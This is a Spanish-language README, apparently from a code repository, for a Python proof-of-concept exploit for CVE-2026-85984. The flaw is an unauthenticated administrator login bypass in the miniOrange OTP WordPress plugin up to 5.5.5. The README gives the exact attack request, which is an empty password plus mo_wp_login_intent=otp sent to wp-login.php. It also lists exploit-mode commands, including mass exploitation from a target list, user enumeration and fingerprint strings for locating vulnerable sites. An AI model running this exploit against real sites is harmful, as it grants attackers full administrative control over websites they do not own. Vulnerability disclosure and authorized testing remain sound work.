murrez/cve-2026-85984Prueba de concepto en Python para CVE-2026-85984: comprueba y explota el bypass de autenticación de administrador de WordPress sin autenticar del plugin miniOrange OTP (≤5.5.5), con escaneo de versión y enumeración de usuarios.
PoC en Python 3 para CVE-2026-85984 — miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5.
CVE-2026-85984 — Omisión de autenticación no autenticada (CWE-287) mediante el parámetro POST mo_wp_login_intent=otp con una contraseña vacía. En la rama skip_pass_fallback de mo_by_pass_login(), el plugin omite wp_authenticate_username_password(), resuelve el usuario solo por nombre de usuario y considera suficiente el rol de administrador cuando las opciones de Admin OTP Bypass están habilitadas.
Ataque: wp-login.php con log=<admin_user>, pwd= (vacío), mo_wp_login_intent=otp.
Condiciones (todas deben estar habilitadas por el administrador del sitio):
CVSS 3.1: 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Corrección: 5.5.6+ (Wordfence CNA, descubridor Supakiad S. / m3ez).
Página del PoC: https://pocbit.org/pocs/cve-2026-85984
Catálogo: https://pocbit.org/pocs/
| Slug del plugin | miniorange-otp-verification |
| Afectado | ≤ 5.5.5 |
| Corregido | 5.5.6+ |
| Vector | wp-login.php + mo_wp_login_intent=otp |
| Impacto | Sesión de administrador (compromiso total del sitio) |
El PoC incluye un banner de CLI con colores, escaneo de plugin/versión, enumeración opcional de usuarios (REST/author), intento de omisión con --mode exploit, JSONL masivo con pocbit / pocbit_catalog / pocbit_page.
pip install -r requirements.txt
python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --probe-login
python poc.py -u https://wordpress.example --mode exploit --username admin
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py -u https://wordpress.example --mode exploit --no-color
body="/wp-content/plugins/miniorange-otp-verification"
body="mo_wp_login_intent"
PoC de CVE-2026-85984: miniOrange OTP para WordPress ≤5.5.5 omisión de admin no autenticada mediante mo_wp_login_intent=otp + contraseña vacía. Modos de comprobación/explotación, CLI con colores. PoCbit
CVE-2026-85984: En el plugin miniOrange OTP, contraseña vacía + mo_wp_login_intent=otp permite una sesión de administrador (requiere una configuración incorrecta de OTP). Parche 5.5.6. PoC: interfaz con colores + modo exploit.
Solo pruebas autorizadas. No lo utilices en sistemas que no sean de tu propiedad o para los que no tengas permiso de prueba.